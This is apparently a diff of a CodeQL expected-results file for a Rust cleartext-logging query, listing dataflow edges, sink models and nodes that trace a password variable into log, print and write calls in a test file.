| password | test_logging.rs:44:11:44:34 | MacroExpr | provenance | | +| test_logging.rs:45:12:45:35 | MacroExpr | test_logging.rs:45:5:45:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:45:28:45:35 | password | test_logging.rs:45:12:45:35 | MacroExpr | provenance | | +| test_logging.rs:46:11:46:34 | MacroExpr | test_logging.rs:46:5:46:35 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:46:27:46:34 | password | test_logging.rs:46:11:46:34 | MacroExpr | provenance | | +| test_logging.rs:47:24:47:47 | MacroExpr | test_logging.rs:47:5:47:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:47:40:47:47 | password | test_logging.rs:47:24:47:47 | MacroExpr | provenance | | +| test_logging.rs:52:12:52:35 | MacroExpr | test_logging.rs:52:5:52:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:52:28:52:35 | password | test_logging.rs:52:12:52:35 | MacroExpr | provenance | | +| test_logging.rs:54:12:54:48 | MacroExpr | test_logging.rs:54:5:54:49 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:54:41:54:48 | password | test_logging.rs:54:12:54:48 | MacroExpr | provenance | | +| test_logging.rs:56:12:56:46 | MacroExpr | test_logging.rs:56:5:56:47 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:56:39:56:46 | password | test_logging.rs:56:12:56:46 | MacroExpr | provenance | | +| test_logging.rs:57:12:57:33 | MacroExpr | test_logging.rs:57:5:57:34 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:57:24:57:31 | password | test_logging.rs:57:12:57:33 | MacroExpr | provenance | | +| test_logging.rs:58:12:58:35 | MacroExpr | test_logging.rs:58:5:58:36 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:58:24:58:31 | password | test_logging.rs:58:12:58:35 | MacroExpr | provenance | | +| test_logging.rs:60:30:60:53 | MacroExpr | test_logging.rs:60:5:60:54 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:60:46:60:53 | password | test_logging.rs:60:30:60:53 | MacroExpr | provenance | | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | test_logging.rs:61:5:61:55 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:61:20:61:28 | &password | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:61:20:61:28 | &password [&ref] | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password | provenance | Config | | test_logging.rs:61:21:61:28 | password | test_logging.rs:61:20:61:28 | &password [&ref] | provenance | | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:65:24:65:47 | MacroExpr | test_logging.rs:65:5:65:48 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:65:40:65:47 | password | test_logging.rs:65:24:65:47 | MacroExpr | provenance | | +| test_logging.rs:67:42:67:65 | MacroExpr | test_logging.rs:67:5:67:66 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:67:58:67:65 | password | test_logging.rs:67:42:67:65 | MacroExpr | provenance | | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | test_logging.rs:68:5:68:67 | ...::log | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:68:18:68:26 | &password | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:68:18:68:26 | &password [&ref] | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password | provenance | Config | | test_logging.rs:68:19:68:26 | password | test_logging.rs:68:18:68:26 | &password [&ref] | provenance | | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:72:23:72:46 | MacroExpr | test_logging.rs:72:5:72:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:72:39:72:46 | password | test_logging.rs:72:23:72:46 | MacroExpr | provenance | | +| test_logging.rs:74:41:74:64 | MacroExpr | test_logging.rs:74:5:74:65 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:74:57:74:64 | password | test_logging.rs:74:41:74:64 | MacroExpr | provenance | | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | test_logging.rs:75:5:75:51 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:75:20:75:28 | &password | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:75:20:75:28 | &password [&ref] | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password | provenance | Config | | test_logging.rs:75:21:75:28 | password | test_logging.rs:75:20:75:28 | &password [&ref] | provenance | | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 Sink:MaD:9 | -| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log | provenance | MaD:9 Sink:MaD:9 Sink:MaD:9 | +| test_logging.rs:76:23:76:46 | MacroExpr | test_logging.rs:76:5:76:47 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:76:39:76:46 | password | test_logging.rs:76:23:76:46 | MacroExpr | provenance | | +| test_logging.rs:82:20:82:43 | MacroExpr | test_logging.rs:82:5:82:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:82:36:82:43 | password | test_logging.rs:82:20:82:43 | MacroExpr | provenance | | +| test_logging.rs:84:38:84:61 | MacroExpr | test_logging.rs:84:5:84:62 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:84:54:84:61 | password | test_logging.rs:84:38:84:61 | MacroExpr | provenance | | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 Sink:MaD:10 | +| test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | test_logging.rs:85:5:85:48 | ...::log::<...> | provenance | MaD:10 Sink:MaD:10 Sink:MaD:10 | | test_logging.rs:85:20:85:28 | &password | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | provenance | | | test_logging.rs:85:20:85:28 | &password [&ref] | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | provenance | | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | provenance | | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password | provenance | Config | | test_logging.rs:85:21:85:28 | password | test_logging.rs:85:20:85:28 | &password [&ref] | provenance | | +| test_logging.rs:86:20:86:43 | MacroExpr | test_logging.rs:86:5:86:44 | ...::log::<...> | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:86:36:86:43 | password | test_logging.rs:86:20:86:43 | MacroExpr | provenance | | +| test_logging.rs:93:9:93:10 | m1 | test_logging.rs:94:11:94:28 | MacroExpr | provenance | | +| test_logging.rs:93:14:93:22 | &password | test_logging.rs:93:9:93:10 | m1 | provenance | | +| test_logging.rs:93:15:93:22 | password | test_logging.rs:93:14:93:22 | &password | provenance | Config | +| test_logging.rs:94:11:94:28 | MacroExpr | test_logging.rs:94:5:94:29 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:96:9:96:10 | m2 | test_logging.rs:97:11:97:18 | MacroExpr | provenance | | +| test_logging.rs:96:41:96:49 | &password | test_logging.rs:96:9:96:10 | m2 | provenance | | +| test_logging.rs:96:42:96:49 | password | test_logging.rs:96:41:96:49 | &password | provenance | Config | +| test_logging.rs:97:11:97:18 | MacroExpr | test_logging.rs:97:5:97:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:99:9:99:10 | m3 | test_logging.rs:100:11:100:18 | MacroExpr | provenance | | +| test_logging.rs:99:14:99:46 | res | test_logging.rs:99:22:99:45 | { ... } | provenance | | +| test_logging.rs:99:22:99:45 | ...::format(...) | test_logging.rs:99:14:99:46 | res | provenance | | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | test_logging.rs:99:9:99:10 | m3 | provenance | | +| test_logging.rs:99:22:99:45 | MacroExpr | test_logging.rs:99:22:99:45 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:99:22:99:45 | { ... } | test_logging.rs:99:22:99:45 | ...::must_use(...) | provenance | MaD:14 | +| test_logging.rs:99:38:99:45 | password | test_logging.rs:99:22:99:45 | MacroExpr | provenance | | +| test_logging.rs:100:11:100:18 | MacroExpr | test_logging.rs:100:5:100:19 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:118:12:118:41 | MacroExpr | test_logging.rs:118:5:118:42 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:118:28:118:41 | get_password(...) | test_logging.rs:118:12:118:41 | MacroExpr | provenance | | +| test_logging.rs:129:9:129:10 | t1 [tuple.1] | test_logging.rs:131:28:131:29 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | test_logging.rs:129:9:129:10 | t1 [tuple.1] | provenance | | +| test_logging.rs:129:25:129:32 | password | test_logging.rs:129:14:129:33 | TupleExpr [tuple.1] | provenance | | +| test_logging.rs:131:12:131:31 | MacroExpr | test_logging.rs:131:5:131:32 | ...::log | provenance | MaD:9 Sink:MaD:9 | +| test_logging.rs:131:28:131:29 | t1 [tuple.1] | test_logging.rs:131:28:131:31 | t1.1 | provenance | | +| test_logging.rs:131:28:131:31 | t1.1 | test_logging.rs:131:12:131:31 | MacroExpr | provenance | | | test_logging.rs:152:12:152:37 | MacroExpr | test_logging.rs:152:5:152:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | | test_logging.rs:152:30:152:37 | password | test_logging.rs:152:12:152:37 | MacroExpr | provenance | | | test_logging.rs:153:14:153:37 | MacroExpr | test_logging.rs:153:5:153:38 | ...::_print | provenance | MaD:8 Sink:MaD:8 | @@ -94,37 +183,37 @@ edges | test_logging.rs:168:34:168:66 | res | test_logging.rs:168:42:168:65 | { ... } | provenance | | | test_logging.rs:168:34:168:75 | ... .as_str(...) | test_logging.rs:168:27:168:32 | expect | provenance | MaD:1 Sink:MaD:1 | | test_logging.rs:168:42:168:65 | ...::format(...) | test_logging.rs:168:34:168:66 | res | provenance | | -| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:11 | -| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:12 | -| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:13 | +| test_logging.rs:168:42:168:65 | ...::must_use(...) | test_logging.rs:168:34:168:75 | ... .as_str(...) | provenance | MaD:12 | +| test_logging.rs:168:42:168:65 | MacroExpr | test_logging.rs:168:42:168:65 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:168:42:168:65 | { ... } | test_logging.rs:168:42:168:65 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:168:58:168:65 | password | test_logging.rs:168:42:168:65 | MacroExpr | provenance | | | test_logging.rs:174:36:174:70 | res | test_logging.rs:174:44:174:69 | { ... } | provenance | | | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | test_logging.rs:174:30:174:34 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:174:44:174:69 | ...::format(...) | test_logging.rs:174:36:174:70 | res | provenance | | -| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:10 | -| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:12 | -| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:13 | +| test_logging.rs:174:44:174:69 | ...::must_use(...) | test_logging.rs:174:36:174:81 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:174:44:174:69 | MacroExpr | test_logging.rs:174:44:174:69 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:174:44:174:69 | { ... } | test_logging.rs:174:44:174:69 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:174:62:174:69 | password | test_logging.rs:174:44:174:69 | MacroExpr | provenance | | | test_logging.rs:175:40:175:74 | res | test_logging.rs:175:48:175:73 | { ... } | provenance | | | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | test_logging.rs:175:30:175:38 | write_all | provenance | MaD:6 Sink:MaD:6 | | test_logging.rs:175:48:175:73 | ...::format(...) | test_logging.rs:175:40:175:74 | res | provenance | | -| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:10 | -| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:12 | -| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:13 | +| test_logging.rs:175:48:175:73 | ...::must_use(...) | test_logging.rs:175:40:175:85 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:175:48:175:73 | MacroExpr | test_logging.rs:175:48:175:73 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:175:48:175:73 | { ... } | test_logging.rs:175:48:175:73 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:175:66:175:73 | password | test_logging.rs:175:48:175:73 | MacroExpr | provenance | | | test_logging.rs:178:15:178:49 | res | test_logging.rs:178:23:178:48 | { ... } | provenance | | | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | test_logging.rs:178:9:178:13 | write | provenance | MaD:5 Sink:MaD:5 | | test_logging.rs:178:23:178:48 | ...::format(...) | test_logging.rs:178:15:178:49 | res | provenance | | -| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:10 | -| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:12 | -| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:13 | +| test_logging.rs:178:23:178:48 | ...::must_use(...) | test_logging.rs:178:15:178:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:178:23:178:48 | MacroExpr | test_logging.rs:178:23:178:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:178:23:178:48 | { ... } | test_logging.rs:178:23:178:48 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:178:41:178:48 | password | test_logging.rs:178:23:178:48 | MacroExpr | provenance | | | test_logging.rs:181:15:181:49 | res | test_logging.rs:181:23:181:48 | { ... } | provenance | | | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | test_logging.rs:181:9:181:13 | write | provenance | MaD:4 Sink:MaD:4 | | test_logging.rs:181:23:181:48 | ...::format(...) | test_logging.rs:181:15:181:49 | res | provenance | | -| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:10 | -| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:12 | -| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:13 | +| test_logging.rs:181:23:181:48 | ...::must_use(...) | test_logging.rs:181:15:181:60 | ... .as_bytes(...) | provenance | MaD:11 | +| test_logging.rs:181:23:181:48 | MacroExpr | test_logging.rs:181:23:181:48 | ...::format(...) | provenance | MaD:13 | +| test_logging.rs:181:23:181:48 | { ... } | test_logging.rs:181:23:181:48 | ...::must_use(...) | provenance | MaD:14 | | test_logging.rs:181:41:181:48 | password | test_logging.rs:181:23:181:48 | MacroExpr | provenance | | models | 1 | Sink: lang:core; ::expect; log-injection; Argument[0] | @@ -135,12 +224,49 @@ models | 6 | Sink: lang:std; ::write_all; log-injection; Argument[0] | | 7 | Sink: lang:std; crate::io::stdio::_eprint; log-injection; Argument[0] | | 8 | Sink: lang:std; crate::io::stdio::_print; log-injection; Argument[0] | -| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[3] | -| 10 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; taint | -| 11 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; taint | -| 12 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | -| 13 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | +| 9 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[0] | +| 10 | Sink: repo:https://github.com/rust-lang/log:log; crate::__private_api::log; log-injection; Argument[2] | +| 11 | Summary: lang:alloc; ::as_bytes; Argument[self]; ReturnValue; taint | +| 12 | Summary: lang:alloc; ::as_str; Argument[self]; ReturnValue; taint | +| 13 | Summary: lang:alloc; crate::fmt::format; Argument[0]; ReturnValue; taint | +| 14 | Summary: lang:core; crate::hint::must_use; Argument[0]; ReturnValue; value | nodes +| test_logging.rs:42:5:42:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:42:12:42:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:42:28:42:35 | password | semmle.label | password | +| test_logging.rs:43:5:43:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:43:12:43:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:43:28:43:35 | password | semmle.label | password | +| test_logging.rs:44:5:44:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:44:11:44:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:44:27:44:34 | password | semmle.label | password | +| test_logging.rs:45:5:45:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:45:12:45:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:45:28:45:35 | password | semmle.label | password | +| test_logging.rs:46:5:46:35 | ...::log | semmle.label | ...::log | +| test_logging.rs:46:11:46:34 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:46:27:46:34 | password | semmle.label | password | +| test_logging.rs:47:5:47:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:47:24:47:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:47:40:47:47 | password | semmle.label | password | +| test_logging.rs:52:5:52:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:52:12:52:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:52:28:52:35 | password | semmle.label | password | +| test_logging.rs:54:5:54:49 | ...::log | semmle.label | ...::log | +| test_logging.rs:54:12:54:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:54:41:54:48 | password | semmle.label | password | +| test_logging.rs:56:5:56:47 | ...::log | semmle.label | ...::log | +| test_logging.rs:56:12:56:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:56:39:56:46 | password | semmle.label | password | +| test_logging.rs:57:5:57:34 | ...::log | semmle.label | ...::log | +| test_logging.rs:57:12:57:33 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:57:24:57:31 | password | semmle.label | password | +| test_logging.rs:58:5:58:36 | ...::log | semmle.label | ...::log | +| test_logging.rs:58:12:58:35 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:58:24:58:31 | password | semmle.label | password | +| test_logging.rs:60:5:60:54 | ...::log | semmle.label | ...::log | +| test_logging.rs:60:30:60:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:60:46:60:53 | password | semmle.label | password | | test_logging.rs:61:5:61:55 | ...::log | semmle.label | ...::log | | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:61:20:61:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | @@ -149,6 +275,12 @@ nodes | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:61:20:61:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:61:21:61:28 | password | semmle.label | password | +| test_logging.rs:65:5:65:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:65:24:65:47 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:65:40:65:47 | password | semmle.label | password | +| test_logging.rs:67:5:67:66 | ...::log | semmle.label | ...::log | +| test_logging.rs:67:42:67:65 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:67:58:67:65 | password | semmle.label | password | | test_logging.rs:68:5:68:67 | ...::log | semmle.label | ...::log | | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:68:18:68:26 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | @@ -157,7 +289,13 @@ nodes | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:68:18:68:26 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:68:19:68:26 | password | semmle.label | password | -| test_logging.rs:75:5:75:51 | ...::log | semmle.label | ...::log | +| test_logging.rs:72:5:72:47 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:72:23:72:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:72:39:72:46 | password | semmle.label | password | +| test_logging.rs:74:5:74:65 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:74:41:74:64 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:74:57:74:64 | password | semmle.label | password | +| test_logging.rs:75:5:75:51 | ...::log::<...> | semmle.label | ...::log::<...> | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:75:20:75:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:75:20:75:28 | &password | semmle.label | &password | @@ -165,7 +303,16 @@ nodes | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:75:20:75:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:75:21:75:28 | password | semmle.label | password | -| test_logging.rs:85:5:85:48 | ...::log | semmle.label | ...::log | +| test_logging.rs:76:5:76:47 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:76:23:76:46 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:76:39:76:46 | password | semmle.label | password | +| test_logging.rs:82:5:82:44 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:82:20:82:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:82:36:82:43 | password | semmle.label | password | +| test_logging.rs:84:5:84:62 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:84:38:84:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:84:54:84:61 | password | semmle.label | password | +| test_logging.rs:85:5:85:48 | ...::log::<...> | semmle.label | ...::log::<...> | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0, &ref] | semmle.label | &... [&ref, tuple.0, &ref] | | test_logging.rs:85:20:85:28 | &... [&ref, tuple.0] | semmle.label | &... [&ref, tuple.0] | | test_logging.rs:85:20:85:28 | &password | semmle.label | &password | @@ -173,6 +320,38 @@ nodes | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0, &ref] | semmle.label | TupleExpr [tuple.0, &ref] | | test_logging.rs:85:20:85:28 | TupleExpr [tuple.0] | semmle.label | TupleExpr [tuple.0] | | test_logging.rs:85:21:85:28 | password | semmle.label | password | +| test_logging.rs:86:5:86:44 | ...::log::<...> | semmle.label | ...::log::<...> | +| test_logging.rs:86:20:86:43 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:86:36:86:43 | password | semmle.label | password | +| test_logging.rs:93:9:93:10 | m1 | semmle.label | m1 | +| test_logging.rs:93:14:93:22 | &password | semmle.label | &password | +| test_logging.rs:93:15:93:22 | password | semmle.label | password | +| test_logging.rs:94:5:94:29 | ...::log | semmle.label | ...::log | +| test_logging.rs:94:11:94:28 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:96:9:96:10 | m2 | semmle.label | m2 | +| test_logging.rs:96:41:96:49 | &password | semmle.label | &password | +| test_logging.rs:96:42:96:49 | password | semmle.label | password | +| test_logging.rs:97:5:97:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:97:11:97:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:9:99:10 | m3 | semmle.label | m3 | +| test_logging.rs:99:14:99:46 | res | semmle.label | res | +| test_logging.rs:99:22:99:45 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:99:22:99:45 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:99:22:99:45 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:99:22:99:45 | { ... } | semmle.label | { ... } | +| test_logging.rs:99:38:99:45 | password | semmle.label | password | +| test_logging.rs:100:5:100:19 | ...::log | semmle.label | ...::log | +| test_logging.rs:100:11:100:18 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:5:118:42 | ...::log | semmle.label | ...::log | +| test_logging.rs:118:12:118:41 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:118:28:118:41 | get_password(...) | semmle.label | get_password(...) | +| test_logging.rs:129:9:129:10 | t1 